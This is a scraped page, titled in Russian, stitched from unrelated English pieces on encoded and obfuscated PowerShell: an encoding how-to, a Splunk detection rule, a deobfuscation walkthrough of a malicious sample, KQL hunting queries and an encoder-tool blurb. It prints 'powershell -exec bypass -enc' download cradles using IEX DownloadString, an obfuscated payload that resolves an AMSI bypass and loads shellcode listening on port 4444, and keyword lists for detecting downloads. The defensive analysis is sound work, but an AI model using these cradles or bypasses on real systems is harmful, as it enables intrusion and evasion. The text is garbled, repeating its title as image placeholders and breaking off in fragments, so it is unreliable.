Запустить сценарий power shell из планировщика задач без окна

Javelin

The PowerShell Encoded Commands Tool is a web-based utility designed to simplify the encoding and decoding of PowerShell commands using the EncodedCommand technique. This technique involves converting PowerShell commands into a base64-encoded format, making them less susceptible to detection and modification.

Sometimes you want to store a PowerShell command not readable at first read. This is so called an obfuscation. It is an action to make something unreadable for humans. For example, this could be used when storing a PowerShell command in a task schedular job or something similar.

How to encode your command?

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string))
Запустить сценарий power shell из планировщика задач без окна
Запустить сценарий power shell из планировщика задач без окна

How to decode the encoded command?

To decode the encoded variable, you can use:

[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($EncodedCommand))
Запустить сценарий power shell из планировщика задач без окна

Another method to encode/ decode!

A nice way to also decode and encode your command is via the Base64 Decode and Encode website:

Base64 Decode and Encode – Online

Запустить сценарий power shell из планировщика задач без окна

And of course, the same for encoding your command!

Запустить сценарий power shell из планировщика задач без окна

How to decode a PowerShell command from a running process?

Microsoft has a nice write up about how to decode running process, this because PowerShell stores running commands in also as an encoded command:

Thank for reading this short blog, hopefully it was informational and helpful when you need to encode your commands!


Encoding is a something that has exsisted for decades and not new a new created concept for information technology. In essence, encoding is the transformation of data into a specific format or structure for secure storage or efficient transmission. In ancient times, civilizations used rudimentary encoding methods like the Caesar cipher to protect sensitive messages from adversaries. As technology advanced, more sophisticated encoding techniques were created, especially since computers could easily decypher the contents. In the world of cyber adversaries use encoding in a similar way, they want to write code that evades detection. This blog will dive into the detection and decoding of Encoded PowerShell using Defender For Endpoint data.

Powershell can be used encoded to obfucstate the commands that have been executed. Those encoded executions are classified in MITRE ATT&CK technique T1027.010 (Obfuscated Files or Information: Command Obfuscation). An attacker can choose encoding to hide the downloading of malicious files, or to prevent simple string matching detections. The goal of this blog is to identify the systems that execute encoded powershell and to classify the traffic as benign or suspicious.

This blog specifically focusses on base64 encoded PowerShell Executions. The base64_decode_tostring() function can be used to encode all base64 encoded string, regardeless of the scripting language that is used.

Try in Splunk Security Cloud

Description

  • Type: Hunting
  • Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud
  • Datamodel: Endpoint
  • Last Updated: 2024-05-19
  • Author: David Dorsey, Michael Haag, Splunk
  • ID: c4db14d9-7909-48b4-a054-aa14d89dbb19

Annotations

ATT&CK

ATT&CK

IDTechniqueTactic
T1027Obfuscated Files or InformationDefense Evasion
Kill Chain Phase
  • Exploitation
NIST
  • DE.AE
CIS20
  • CIS 10
CVE
1
2
3
4
5
6
7
8
9
10
11
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.original_file_name Processes.dest Processes.process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
| where match(process,"(?i)[\-
|\/
|–
|—
|―]e(nc*o*d*e*d*c*o*m*m*a*n*d*)*\s+[^-]")
| `malicious_powershell_process___encoded_command_filter`

Macros

Required fields

List of fields required to use this analytic.

  • _time
  • Processes.process_name
  • Processes.process
  • Processes.user
  • Processes.parent_process_name
  • Processes.dest
  • Processes.process_id

How To Implement

The detection is based on data that originates from Endpoint Detection and Response (EDR) agents. These agents are designed to provide security-related telemetry from the endpoints where the agent is installed. To implement this search, you must ingest logs that contain the process GUID, process name, and parent process. Additionally, you must ingest complete command-line executions. These logs must be processed using the appropriate Splunk Technology Add-ons that are specific to the EDR product. The logs must also be mapped to the Processes node of the Endpoint data model. Use the Splunk Common Information Model (CIM) to normalize the field names and speed up the data modeling process.

Known False Positives

Associated Analytic Story

RBA

Risk ScoreImpactConfidenceMessage
35.07050Powershell.exe running potentially malicious encodede commands on $dest$

Reference

Test Dataset

Replay any dataset to Splunk Enterprise by using our replay.py tool or the UI.
Alternatively you can replay a dataset into a Splunk Attack Range

What is Powershell?

As we mentioned above, there are quite a lot of attack options and techniques, but as you know, powershell is an open source scripting language, since there is no compilation, all the commands of the command or script to be run can be clearly seen. So how can attackers still run malicious powershell commands or scripts on devices?


Parameters Used

ExecutionPolicy: Policy created for security purposes. Used to determine the types of powershell scripts that can be run/installed on the device.

1. Restricted, is the ExecutionPolicy value that is loaded by default. No powershell scripts can be run on the device.
2. AllSigned, Only scripts signed by trusted publishers can be run.
3. RemoteSigned, This is the default policy on Windows Server 2012 R2 devices. Only locally generated script files can be run on the system.
4. Unrestricted, Locally created and signed PowerShell scripts can be run. Command prompt is shown for scripts run remotely.
5. Bypass, All PowerShell scripts can be run on the device.

EncodedCommand: By default, Powershell can decode and run Base64 values. With the “powershell -EncodedCommand ‘Base64’“ command line, you can run commands/scripts that are Base64 encoded in powershell, regardless of the number of lines.

Sta: It stands for Single-Threaded Apartment. The reason why attackers use this parameter is that; some COM (Component Object Model) objects require the Single-Threaded Apartment model. COM objects are used to access system services or other software. Attackers also use this parameter to ensure that some kind of command/script works if they use a COM object in their scripts/commands.

Above are some powershell parameters. To get to all of them “powershell -?” You can run the command.


What is Obfuscation?

Obfuscation can be explained as making something difficult to understand. Generally, script languages are subject to obfuscation when they are used for malicious purposes. See JavaScript obfuscation, etc. So how does this “making it hard to understand” work? To give a simple example;

$value1="Onlyf8"
$value2="Oxxxaaanaaaabbbxlxxxaaaabbbbyfaaaaxxxxbb8"
$value2.Replace("x","").Replace("a","").Replace("b","")

Looking at the example above, when these 3 commands run, the values of $value1 and $value2 are the same. Obfuscation is the writing of commands that can easily be understood as harmful when written in plain in different ways and made their original at the time of execution.

There are quite different and more obfuscation techniques on Powershell. In this article, we’ll show and analyze the techniques that we often come across.


Special Character Obfuscation

${$!-} =+ $( ) ;${;/=} =${$!-};${-}= ++ ${$!-} ;${/} =++${$!-};${(} = ++ ${$!-};${#}= ++${$!-};${.} =++ ${$!-} ;${)@} = ++ ${$!-} ;${!} =++${$!-} ;${;~+}= ++ ${$!-};${@}=++${$!-} ;${[$ } ="["+ "$( @{} )"[ ${!}] +"$(@{})"["${-}"+"${@}"]+"$(@{ }) "["${/}" +"${;/=}" ]+"$?"[${-} ]+"]";${$!-}="".("$(@{} ) "[ "${-}${#}"] + "$( @{ } ) "["${-}${)@}"]+ "$( @{})"[${;/=}]+ "$( @{} )"[ ${#}] + "$?"[ ${-} ] +"$(@{ }) "[${(}]);${$!-}= "$(@{})"["${-}${#}" ]+ "$( @{})"[ ${#}] + "${$!-}"[ "${/}${!}"] ;.${$!-}( "${[$ }${-}${;/=}${@}+ ${[$ }${-}${;/=}${!} +${[$ }${-}${;/=}${;/=} +${[$ }${-}${;/=}${.} +${[$ }${-}${-}${#}+${[$ }${(}${/} + ${[$ }${-}${-}${-}+${[$ }${-}${-}${;/=} + ${[$ }${-}${;/=}${;~+}+${[$ }${-}${/}${-}+${[$ }${-}${;/=}${/}+ ${[$ }${.}${)@}| ${$!-} " )

Above is a powershell script obfuscated with the Special Character technique. Now let’s reverse it step by step.

First of all, this is not a single line in powershell because we can see that it is used to separate the ; character line by line in between. After these characters, we skip the line and make the script available to run line by line.

Запустить сценарий power shell из планировщика задач без окна

Now it’s a bit more readable (:D). So what do these lines do? Let’s run it line by line using Powershell ISE.

Запустить сценарий power shell из планировщика задач без окна

When we run it step by step, we notice that; In line 1, the first variable created is assigned a value of “0”, and then a different variable is assigned this value. When we come to the 3rd line, you can see that the value ++0 is assigned to the created variable. The variable defined as 0 in this line is incremented by 1 and assigned to the newly created variable. In this way, all digits between 0-9 are stored in a variable. So what are these numbers going to do?

Запустить сценарий power shell из планировщика задач без окна

Запустить сценарий power shell из планировщика задач без окна

In the next line, it is seen that the insert method is created by using index over the System.Collections.Hashtable variable, which is also one of the native variables (variables boxed in red in the image above). Only the letter r is obtained from the string ”$?” i.e. True.

Запустить сценарий power shell из планировщика задач без окна

Запустить сценарий power shell из планировщика задач без окна


String Concatenate Obfuscation

Запустить сценарий power shell из планировщика задач без окна

You get a sweet powershell script 🙂 A lot of random variable names, string merging, string modification in list format, Base64, Gunzip etc. It’s a mess. Where should we start? First of all, we make the variable names readable. Then we delete the '+' characters in the entire script.

Запустить сценарий power shell из планировщика задач без окна

Now some strings are slightly readable/predictable. Now let’s focus on the second line;

$value1_=[Ref].Assembly.GetType((('{4}{0}{9}tem.{3}ana{6}ement.{8}{2}t{7}mati{7}n.{8}m{9}i{5}ti{1}{9}')-f'y','l','u','M','S','U','g','o','A','s'));
$value1_=[Ref].Assembly.GetType(('System.Management.Automation.AmsiUtils'));

This is how the -f structure is resolved. Now let’s make all the lines readable in the same way.

Запустить сценарий power shell из планировщика задач без окна

Запустить сценарий power shell из планировщика задач без окна

Запустить сценарий power shell из планировщика задач без окна

In the next stage, we will get the shellcode and see what I can get. First of all, we decode the Base64 value here using CyberChef and download it using the Download feature.

Запустить сценарий power shell из планировщика задач без окна

Запустить сценарий power shell из планировщика задач без окна

When we run it, we see APIs that resolve dynamically. Here we detect that the APIs resolved in the jmp rax line are called, and we toggle breakpoint this line and track the APIs called through the RAX register.

Запустить сценарий power shell из планировщика задач без окна

First of all, loading the ws2_32 library with the LoadLibrary API, we understand that it will perform socket operations. Then we see that it creates a socket with the WSAStartup API.

Запустить сценарий power shell из планировщика задач без окна

It activates the created socket using the bind API. When we look at the parameters, we find that the 4444 port is listening.

Запустить сценарий power shell из планировщика задач без окна


Please contact me at my contact addresses for criticism/correction/suggestion. Your comments are valuable to me 🙂


List the devices that execute encoded PowerShell

In this step we list the devices that execute Powershell by the amount of encoded PowerShell commands executed. This is done to analyse the encoded PowerShell behaviour in for tenant and which parameters are used. This can give an indication on which device needs to be investigated further. Executing encoded scripts is not necacaraly suspicious, several legitimate solutions are used in the wild, for example to limit the script size.

The amount of encoded PowerShell executions can differ a lot in tenants, thus this indication can shed some light on the current situation and if we need to apply some filters to limit the results.

/images/Hunting-encoded-powershell/PowerShellExecutions.png
Encoded PowerShell Executions Statistics

The query (below) investigates the DeviceProcessEvents for PowerShell executions. The next step is to check if the commandline contains any of the parameters in the EncodedList. If that is the case we extract the base64 string from the commandline using regex. This string is than decoded (but not used yet). Lastly we use the summarize operator to get the count for each device.

let TimeFrame d; Customizable h hours, d days

Reconnaissance Activities

In this step we further build upon our previous queries to specifically look for reconnaissance activities. We are now going to enrich the privious query with commands that can be related to recon activities. For this step a predifined list of recon activities is defined:

let TimeFrame h; Customizable h hours, d days the decoded commandline Recon variables

Detailed queries for this step can be found on my GitHub: MDE & Sentinel KQL Query

Investigate encoded PowerShell commands

The seconds step also shows all the commands that have been executed by each device. This is done by decoding the commands in order to be investigated. This is then listed by DeviceName the amount of unique queries that have been executed by that particial device in the selected timeframe. The image below shows the results of this step.

/images/Hunting-encoded-powershell/step2results.png
Encoded PowerShell Executions

The question what defines a malicious PowerShell command is the same as with clear text executions. But there are a few indicators that can indicate suspicious PowerShell usage, these could be:

  • Downloading Remote Files (directly from an IP address)
  • Attempting to bypass execution policies
  • Trying to modify registry run keys
  • Clearing (security) logs or disabling logging

If you identify one of the above indicators in the query results, take some time to investigate before moving to the next steps.

Found suspicious PowerShell Executions?

If you have found suspicious PowerShell executions in your environment it would be recommended to perform some incident response queries, to determine the impact. In the GitHub repository the category DFIR can be used to run those queries, to quickly list malicious activities.

Queries for this step can be found on my GitHub: MDE & Sentinel KQL Query

Example

powershell.exe -exec bypass -enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHKACWB0AGUAbQAuAEAZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKAKQAUAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAAA6ACAALwA0ADUALgAxADMANgAuADIAMwAwACAWAADEAOgA0ADAAMAAwACAAyADMANABSADIAMWAnACkAOwA=
powershell.exe -exec bypass -enc IEX (New-Object NetWebclient)DownloadString('http://127.0.0.1:32467/')

Based on the example we can see that adversaries use PowerShell on the commandline and a parameter to execute encoded powershell. This paremeter can be used in differrent forms; -encodedcommand, -enc or -e. Note that this execution also performs a bypass, which is intersting for later detection.

Threat Reports containing encoded base64 examples

Encoded WebRequests

Similar to the previous step we explicitly search for encoded commands in combination with a different indicator, this will yield better results. Thistime the additional indicator is focussed on encoded downloads. This technique is often used by attackers to evade their download actions, or to limit the impact on custom detection rules, that are only scoped on normal commands.

The downloads list that is used in this detection:

let DownloadVariables = dynamic(['WebClient', 'DownloadFile', 'DownloadData', 'DownloadString', 'WebRequest', 'Shellcode', 'http', 'https']);
/images/Hunting-encoded-powershell/step4results.png
Encoded PowerShell Downloads

Detailed queries for this step can be found on my GitHub: MDE & Sentinel KQL Query

Custom Detection & Analytics rules base64

To increase the likelyhood that a encoded PowerShell command has been executed with malicious intent you can filter on commandlines that have PowerShell, bypass and one of the encoded PowerShell commands. Note that you would also filter all malicious scripts that do not have to bypass the current execution policy.

let EncodedList = dynamic(['-encodedcommand', '-enc', '-e']);
DeviceProcessEvents
| where ProcessCommandLine has_all ('powershell', 'bypass', EncodedList) 

Questions? Feel free to reach out to me on any of my socials.

How to Use

  1. Enter PowerShell Command:
  • Input your PowerShell command into the designated text area.

2. Encode or Decode:

  • Click the “Encode” or “Decode” button, depending on your desired operation.
  • The output area will display the result of the encoding or decoding process.

3. Copy to Clipboard:

  • Click the “Copy to Clipboard” button to easily copy the encoded or decoded command for use in other environments.

Features

  1. Encode and Decode PowerShell Commands:
  • Easily encode your PowerShell commands to generate EncodedCommand strings suitable for use in various scenarios.
  • Decode EncodedCommand strings back into the original PowerShell commands for analysis or modification.
  • The tool provides a clean and intuitive interface with text areas for input and output, making it accessible to users with varying levels of PowerShell expertise.

3. Copy to Clipboard:

  • Quickly copy the encoded or decoded result to the clipboard with the “Copy to Clipboard” button, streamlining the process of integrating the commands into scripts or other PowerShell environments.

PowerShell Encoding

Before we can start hunting for any encoded PowerShell commands, we need to understand what it is and what the incidcators of it are. For this part is is important that the encoded PowerShell is directly executed, the encoding of files is less interesting in this case. We build our theory based on cases in which actors used encoded Powershell (see section).

For all examples you can use KQL to translate this or any encoded base64 string, using the base64_decode_tostring() function. This works for all base64 strings, not only PowerShell.
lo

let YourEncodedBase64Command ;

Considerations

  • UTF-16LE Encoding:

The tool ensures proper encoding and decoding, including conversion to UTF-16LE format as required for PowerShell EncodedCommand strings.

  • Security Awareness:
:/>  UltraIso загрузочная флешка делается очень просто